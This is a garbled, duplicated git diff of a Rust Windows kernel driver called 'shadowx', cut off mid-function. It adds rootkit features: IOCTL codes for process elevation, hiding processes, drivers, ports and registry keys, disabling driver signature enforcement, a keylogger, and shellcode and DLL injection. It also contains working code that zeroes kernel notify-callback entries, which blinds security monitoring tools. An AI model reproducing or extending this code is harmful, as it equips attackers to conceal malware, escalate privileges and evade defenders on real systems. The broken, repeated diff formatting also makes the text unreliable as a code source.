version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
@@ -28,9 +28,10 @@ pub enum Callbacks {
|
|||||||
///
|
///
|
||||||
/// These options represent different modes or actions that can be applied to a process
|
/// These options represent different modes or actions that can be applied to a process
|
||||||
/// or thread, such as hiding it or enabling protection mechanisms.
|
/// or thread, such as hiding it or enabling protection mechanisms.
|
||||||
#[derive(Debug)]
|
#[derive(Debug, Default)]
|
||||||
pub enum Options {
|
pub enum Options {
|
||||||
/// Option to hide the process or thread.
|
/// Option to hide the process or thread.
|
||||||
|
#[default]
|
||||||
Hide,
|
Hide,
|
||||||
|
|
||||||
/// Option to apply protection to the process or thread.
|
/// Option to apply protection to the process or thread.
|
||||||
61
crates/common/src/ioctls.rs
Normal file
61
crates/common/src/ioctls.rs
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
const FILE_DEVICE_UNKNOWN: u32 = 34;
|
||||||
|
const METHOD_NEITHER: u32 = 3;
|
||||||
|
const METHOD_BUFFERED: u32 = 0;
|
||||||
|
const FILE_ANY_ACCESS: u32 = 0;
|
||||||
|
|
||||||
|
macro_rules! CTL_CODE {
|
||||||
|
($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => {
|
||||||
|
($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Process
|
||||||
|
pub const ELEVATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const HIDE_UNHIDE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const TERMINATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const SIGNATURE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const PROTECTION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const ENUMERATION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Thread
|
||||||
|
pub const PROTECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const HIDE_UNHIDE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const ENUMERATION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Driver
|
||||||
|
pub const HIDE_UNHIDE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// DSE
|
||||||
|
pub const ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Keylogger
|
||||||
|
pub const KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// ETWTI
|
||||||
|
pub const ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// PORT
|
||||||
|
pub const HIDE_PORT: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Callbacks
|
||||||
|
pub const ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Registry
|
||||||
|
pub const REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const HIDE_UNHIDE_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Module
|
||||||
|
pub const ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Injection
|
||||||
|
pub const INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x828, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
287
crates/common/src/structs.rs
Normal file
287
crates/common/src/structs.rs
Normal file
@@ -0,0 +1,287 @@
|
|||||||
|
#![allow(non_camel_case_types)]
|
||||||
|
#![allow(non_snake_case)]
|
||||||
|
|
||||||
|
use core::sync::atomic::AtomicPtr;
|
||||||
|
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
|
||||||
|
use crate::enums::{
|
||||||
|
Callbacks, Options,
|
||||||
|
PortType, Protocol
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Custom implementation of the `LIST_ENTRY` structure.
|
||||||
|
///
|
||||||
|
/// This struct represents a doubly linked list entry, commonly used in low-level
|
||||||
|
/// systems programming, especially in Windows kernel structures. It contains
|
||||||
|
/// forward (`Flink`) and backward (`Blink`) pointers to other entries in the list.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Clone, Copy)]
|
||||||
|
pub struct LIST_ENTRY {
|
||||||
|
/// A pointer to the next entry in the list.
|
||||||
|
pub Flink: *mut LIST_ENTRY,
|
||||||
|
|
||||||
|
/// A pointer to the previous entry in the list.
|
||||||
|
pub Blink: *mut LIST_ENTRY,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents the state of ETWTI (Event Tracing for Windows Thread Information).
|
||||||
|
///
|
||||||
|
/// This struct manages whether ETWTI is enabled or disabled for capturing thread
|
||||||
|
/// information. The `enable` field controls the activation of this feature.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct ETWTI {
|
||||||
|
/// A boolean value indicating if ETWTI is enabled (`true`) or disabled (`false`).
|
||||||
|
pub enable: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Input structure for enumeration of information.
|
||||||
|
///
|
||||||
|
/// This struct is used as input for listing various entities, based on the
|
||||||
|
/// options provided. The `options` field defines the parameters for the enumeration.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct EnumerateInfoInput {
|
||||||
|
/// The options to control how the enumeration should behave, typically set by the user.
|
||||||
|
pub options: Options,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents the target process and path for a DLL or code injection.
|
||||||
|
///
|
||||||
|
/// This struct contains the necessary information to perform a code or DLL injection
|
||||||
|
/// into a target process. It includes the process identifier (PID) and the path
|
||||||
|
/// to the file or resource being injected.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct TargetInjection {
|
||||||
|
/// The process identifier (PID) of the target process where the injection will occur.
|
||||||
|
pub pid: usize,
|
||||||
|
|
||||||
|
/// The path to the file or resource (typically a DLL) to be injected into the process.
|
||||||
|
/// This is a dynamic string (heap-allocated) that stores the full path.
|
||||||
|
pub path: alloc::string::String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents information about a network or communication port.
|
||||||
|
///
|
||||||
|
/// This struct holds information about a specific port, including the protocol used,
|
||||||
|
/// the type of port, its number, and whether the port is enabled or disabled.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||||
|
pub struct TargetPort {
|
||||||
|
/// The protocol used by the port (e.g., TCP, UDP).
|
||||||
|
/// This field is represented by the `Protocol` enum.
|
||||||
|
pub protocol: Protocol,
|
||||||
|
|
||||||
|
/// The type of port (e.g., local, remote).
|
||||||
|
/// This field is represented by the `PortType` enum.
|
||||||
|
pub port_type: PortType,
|
||||||
|
|
||||||
|
/// The port number, represented as a 16-bit unsigned integer.
|
||||||
|
/// Commonly used to identify network services (e.g., port 80 for HTTP).
|
||||||
|
pub port_number: u16,
|
||||||
|
|
||||||
|
/// A boolean value indicating whether the port is enabled (`true`) or disabled (`false`).
|
||||||
|
pub enable: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents the target registry key and value for operations.
|
||||||
|
///
|
||||||
|
/// This struct holds information about a specific registry key and its associated value
|
||||||
|
/// for operations such as modifying or querying the registry. It includes the registry key,
|
||||||
|
/// the value associated with that key, and a flag indicating whether the operation should be
|
||||||
|
/// enabled or not.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct TargetRegistry {
|
||||||
|
/// The registry key, represented as a dynamically allocated string.
|
||||||
|
/// This is typically the path to a specific registry key (e.g., `HKEY_LOCAL_MACHINE\Software\...`).
|
||||||
|
pub key: alloc::string::String,
|
||||||
|
|
||||||
|
/// The value associated with the registry key, represented as a dynamically allocated string.
|
||||||
|
/// This could be a string value stored under the specified registry key.
|
||||||
|
pub value: alloc::string::String,
|
||||||
|
|
||||||
|
/// A boolean value indicating whether the operation on the registry key should be enabled (`true`)
|
||||||
|
/// or disabled (`false`).
|
||||||
|
pub enable: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents the target thread for operations like manipulation or monitoring.
|
||||||
|
///
|
||||||
|
/// This struct contains the thread identifier (TID) and a boolean flag indicating whether
|
||||||
|
/// the thread is enabled or disabled (hidden or active).
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct TargetThread {
|
||||||
|
/// The thread identifier (TID) of the target thread.
|
||||||
|
pub tid: usize,
|
||||||
|
|
||||||
|
/// A boolean value indicating whether the thread is enabled (`true`) or disabled/hidden (`false`).
|
||||||
|
pub enable: bool,
|
||||||
|
|
||||||
|
/// A pointer to the `LIST_ENTRY` structure, which represents the thread in the system's
|
||||||
|
/// linked list of threads. This is wrapped in an `AtomicPtr` for safe concurrent access.
|
||||||
|
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||||
|
|
||||||
|
/// The options to control how the enumeration should behave, typically set by the user.
|
||||||
|
pub options: Options,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Stores information about a target process for operations such as termination or manipulation.
|
||||||
|
///
|
||||||
|
/// This struct contains the process identifier (PID) of the target process. It is commonly used
|
||||||
|
/// when the PID is the only information required for an operation on a process.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct TargetProcess {
|
||||||
|
/// The process identifier (PID) of the target process.
|
||||||
|
pub pid: usize,
|
||||||
|
|
||||||
|
/// A boolean value indicating whether the process is hidden (`true`) or visible (`false`).
|
||||||
|
pub enable: bool,
|
||||||
|
|
||||||
|
/// The signer of the process, typically indicating the authority or certificate that signed it.
|
||||||
|
pub sg: usize,
|
||||||
|
|
||||||
|
/// The type of protection applied to the process, represented as an integer.
|
||||||
|
pub tp: usize,
|
||||||
|
|
||||||
|
/// A pointer to the `LIST_ENTRY` structure, which is used to represent the process
|
||||||
|
/// in the system's linked list of processes. This is wrapped in an `AtomicPtr` for safe concurrent access.
|
||||||
|
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||||
|
|
||||||
|
/// The options to control how the enumeration should behave, typically set by the user.
|
||||||
|
pub options: Options,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents information about a module in the system.
|
||||||
|
///
|
||||||
|
/// This struct is used for enumerating modules loaded in the system. It includes
|
||||||
|
/// the module's memory address, its name, and an index that can be used for
|
||||||
|
/// identification or sorting purposes.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct ModuleInfo {
|
||||||
|
/// The memory address where the module is loaded.
|
||||||
|
pub address: usize,
|
||||||
|
|
||||||
|
/// The name of the module, stored as a UTF-16 encoded string with a fixed length of 256.
|
||||||
|
/// This allows compatibility with systems like Windows that use UTF-16 encoding.
|
||||||
|
pub name: [u16; 256],
|
||||||
|
|
||||||
|
/// The index of the module in the enumeration, useful for tracking or identifying the module.
|
||||||
|
pub index: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents the target module within a specific process for operations like enumeration or manipulation.
|
||||||
|
///
|
||||||
|
/// This struct contains information about the target process and the specific module within that process.
|
||||||
|
/// It includes the process identifier (PID) and the name of the module being targeted.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct TargetModule {
|
||||||
|
/// The process identifier (PID) of the process in which the target module is loaded.
|
||||||
|
pub pid: usize,
|
||||||
|
|
||||||
|
/// The name of the target module, stored as a dynamically allocated string.
|
||||||
|
pub module_name: alloc::string::String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Callback Information for Enumeration (Output)
|
||||||
|
///
|
||||||
|
/// This struct represents the information about a callback that is used in an enumeration process.
|
||||||
|
/// It includes details like the callback's memory address, name, and operations associated with it.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Copy, Clone)]
|
||||||
|
pub struct CallbackInfoOutput {
|
||||||
|
/// The memory address where the callback is located.
|
||||||
|
pub address: usize,
|
||||||
|
|
||||||
|
/// The name of the callback, represented as a UTF-16 array of fixed length (256).
|
||||||
|
/// This is useful for systems (like Windows) that use UTF-16 strings.
|
||||||
|
pub name: [u16; 256],
|
||||||
|
|
||||||
|
/// The index of the callback in the enumeration.
|
||||||
|
pub index: u8,
|
||||||
|
|
||||||
|
/// The memory address of the pre-operation function associated with this callback.
|
||||||
|
pub pre_operation: usize,
|
||||||
|
|
||||||
|
/// The memory address of the post-operation function associated with this callback.
|
||||||
|
pub post_operation: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for CallbackInfoOutput {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self {
|
||||||
|
address: 0,
|
||||||
|
name: [0u16; 256],
|
||||||
|
index: 0,
|
||||||
|
post_operation: 0,
|
||||||
|
pre_operation: 0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Callback Information for Action (Input)
|
||||||
|
///
|
||||||
|
/// This struct is used to represent input data when performing an action on a callback.
|
||||||
|
/// It includes the callback's index and the specific callback action to be taken.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Copy, Clone)]
|
||||||
|
pub struct CallbackInfoInput {
|
||||||
|
/// The index of the callback that will be targeted by the action.
|
||||||
|
pub index: usize,
|
||||||
|
|
||||||
|
/// The specific callback action, represented by the `Callbacks` enum.
|
||||||
|
pub callback: Callbacks,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates driver information for system drivers.
|
||||||
|
///
|
||||||
|
/// This struct holds basic information about a driver, including its address, name, and an index
|
||||||
|
/// for identification. The `name` field is represented as a UTF-16 array to maintain compatibility
|
||||||
|
/// with systems that use this encoding (like Windows).
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct DriverInfo {
|
||||||
|
/// The memory address where the driver is loaded.
|
||||||
|
pub address: usize,
|
||||||
|
|
||||||
|
/// The name of the driver, stored as a UTF-16 encoded string with a fixed length of 256.
|
||||||
|
pub name: [u16; 256],
|
||||||
|
|
||||||
|
/// The index of the driver in the enumeration.
|
||||||
|
pub index: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents a structure to enable or disable Driver Signature Enforcement (DSE).
|
||||||
|
///
|
||||||
|
/// This struct is used to toggle the state of DSE, with the `enable` field indicating whether
|
||||||
|
/// DSE is currently enabled or disabled.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct DSE {
|
||||||
|
/// A boolean flag to enable or disable DSE. `true` means DSE is enabled, `false` means it is disabled.
|
||||||
|
pub enable: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents the target driver for operations like hiding or revealing it.
|
||||||
|
///
|
||||||
|
/// This struct holds information about a driver, specifically its name and a flag indicating whether
|
||||||
|
/// it should be enabled (visible) or hidden.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct TargetDriver {
|
||||||
|
/// The name of the target driver as a dynamic string (heap-allocated).
|
||||||
|
pub name: alloc::string::String,
|
||||||
|
|
||||||
|
/// A boolean flag that indicates whether the driver is enabled (visible) or hidden.
|
||||||
|
/// `true` means the driver is enabled, `false` means it is hidden.
|
||||||
|
pub enable: bool,
|
||||||
|
|
||||||
|
/// A pointer to the `LIST_ENTRY` structure representing the driver's list in the system.
|
||||||
|
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||||
|
|
||||||
|
/// A pointer to the `LDR_DATA_TABLE_ENTRY` structure that represents the driver's data in the system.
|
||||||
|
pub driver_entry: AtomicPtr<LDR_DATA_TABLE_ENTRY>,
|
||||||
|
}
|
||||||
31
crates/shadowx/Cargo.toml
Normal file
31
crates/shadowx/Cargo.toml
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
[package]
|
||||||
|
name = "shadowx"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
wdk = "0.2.0"
|
||||||
|
wdk-sys = "0.2.0"
|
||||||
|
wdk-panic = "0.2.0"
|
||||||
|
wdk-alloc = "0.2.0"
|
||||||
|
winapi = "0.3.9"
|
||||||
|
ntapi = { version = "0.4.1", default-features = false }
|
||||||
|
|
||||||
|
spin = "0.9.8"
|
||||||
|
log = "0.4.22"
|
||||||
|
obfstr = "0.4.4"
|
||||||
|
bitfield = "0.17.0"
|
||||||
|
thiserror-no-std = "2.0.2"
|
||||||
|
common = { path = "../common" }
|
||||||
|
microseh = { version = "1.1.2", default-features = false }
|
||||||
|
|
||||||
|
[profile.dev]
|
||||||
|
panic = "abort"
|
||||||
|
|
||||||
|
[profile.release]
|
||||||
|
panic = "abort"
|
||||||
|
|
||||||
|
[package.metadata.wdk.driver-model]
|
||||||
|
driver-type = "KMDF"
|
||||||
|
kmdf-version-major = 1
|
||||||
|
target-kmdf-version-minor = 33
|
||||||
11
crates/shadowx/src/callback/callbacks/mod.rs
Normal file
11
crates/shadowx/src/callback/callbacks/mod.rs
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
/// Callbacks related to notifications operations
|
||||||
|
pub mod notify_routine;
|
||||||
|
pub use notify_routine::*;
|
||||||
|
|
||||||
|
/// Callbacks related to object operations
|
||||||
|
pub mod object;
|
||||||
|
pub use object::*;
|
||||||
|
|
||||||
|
/// Callbacks related to registry operations
|
||||||
|
pub mod registry;
|
||||||
|
pub use registry::*;
|
||||||
247
crates/shadowx/src/callback/callbacks/notify_routine.rs
Normal file
247
crates/shadowx/src/callback/callbacks/notify_routine.rs
Normal file
@@ -0,0 +1,247 @@
|
|||||||
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
|
spin::{Lazy, Mutex},
|
||||||
|
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||||
|
wdk_sys::{NTSTATUS, STATUS_SUCCESS},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
common::{
|
||||||
|
enums::Callbacks,
|
||||||
|
vars::MAX_CALLBACK,
|
||||||
|
structs::CallbackInfoOutput
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
error::ShadowError,
|
||||||
|
utils::list_modules,
|
||||||
|
data::CallbackRestaure,
|
||||||
|
callback::find_callback::{
|
||||||
|
find_callback_address, CallbackResult
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Structure that manages callbacks in the system.
|
||||||
|
///
|
||||||
|
/// The `Callback` structure provides functionality to remove, restore, and enumerate
|
||||||
|
/// system callbacks like `PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine`,
|
||||||
|
/// and `PsSetLoadImageNotifyRoutine`.
|
||||||
|
pub struct Callback;
|
||||||
|
|
||||||
|
/// Stores information about removed callbacks.
|
||||||
|
///
|
||||||
|
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
|
||||||
|
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
|
||||||
|
pub static mut INFO_CALLBACK_RESTAURE_NOTIFY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(||
|
||||||
|
Mutex::new(Vec::with_capacity(MAX_CALLBACK))
|
||||||
|
);
|
||||||
|
|
||||||
|
impl Callback {
|
||||||
|
/// Restores a previously removed callback by its index.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
||||||
|
/// * `index` - The index of the callback to restore.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
|
||||||
|
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
|
||||||
|
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Lock the removed callbacks to ensure thread-safe access
|
||||||
|
let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
||||||
|
|
||||||
|
// Find the removed callback by its index
|
||||||
|
let index = callbacks
|
||||||
|
.iter()
|
||||||
|
.position(|c| c.callback == callback && c.index == index)
|
||||||
|
.ok_or(ShadowError::IndexNotFound(index))?;
|
||||||
|
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let address = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Notify(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Restore the callback by writing back its address
|
||||||
|
let addr = address.offset((callbacks[index].index * 8) as isize);
|
||||||
|
*(addr as *mut u64) = callbacks[index].address;
|
||||||
|
|
||||||
|
// Remove the restored callback from the saved list
|
||||||
|
callbacks.remove(index);
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a callback from a notification routine.
|
||||||
|
///
|
||||||
|
/// This function removes a callback by setting its address in the callback table to `0`
|
||||||
|
/// and stores the removed callback's information in `INFO_CALLBACK_RESTAURE_NOTIFY` for
|
||||||
|
/// future restoration.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to remove.
|
||||||
|
/// * `index` - The index of the callback to remove.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
|
||||||
|
/// * `Err(ShadowError)` - if the callback address cannot be found.
|
||||||
|
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let address = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Notify(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Calculate the callback address to be removed
|
||||||
|
let addr = address.offset((index as isize) * 8);
|
||||||
|
|
||||||
|
// Save the removed callback information
|
||||||
|
let callback = CallbackRestaure {
|
||||||
|
index,
|
||||||
|
callback,
|
||||||
|
address: *(addr as *mut u64),
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
||||||
|
callback_info.push(callback);
|
||||||
|
|
||||||
|
// Remove the callback by setting its address to 0
|
||||||
|
*(addr as *mut u64) = 0;
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Methods related to callback enumeration
|
||||||
|
impl Callback {
|
||||||
|
/// Enumerates the modules associated with callbacks and populates callback information.
|
||||||
|
///
|
||||||
|
/// This function iterates through the system's callback table and identifies the modules
|
||||||
|
/// that have registered callbacks. It stores this information in the `callback_info` structure.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to enumerate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of callbacks.
|
||||||
|
/// * `Err(ShadowError)` - if the callback cannot be found.
|
||||||
|
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||||
|
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||||
|
|
||||||
|
// Get the address of the callback from the system
|
||||||
|
let address = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Notify(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Iterate over loaded modules to find the module corresponding to each callback
|
||||||
|
let (mut ldr_data, module_count) = list_modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
for i in 0..64 {
|
||||||
|
let addr = address.cast::<u8>().offset(i * 8);
|
||||||
|
let callback = *(addr as *const u64);
|
||||||
|
|
||||||
|
if callback == 0 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterate through the loaded modules to find the one associated with the callback
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let image_size = (*ldr_data).SizeOfImage;
|
||||||
|
let end_address = start_address as u64 + image_size as u64;
|
||||||
|
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
|
||||||
|
|
||||||
|
// Check if the callback addresses fall within the module's memory range
|
||||||
|
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: i as u8,
|
||||||
|
address: raw_pointer as usize,
|
||||||
|
name,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset the module list pointer for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates all removed callbacks and provides detailed information.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of removed callbacks.
|
||||||
|
/// * `Err(ShadowError)` - if the operation fails.
|
||||||
|
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||||
|
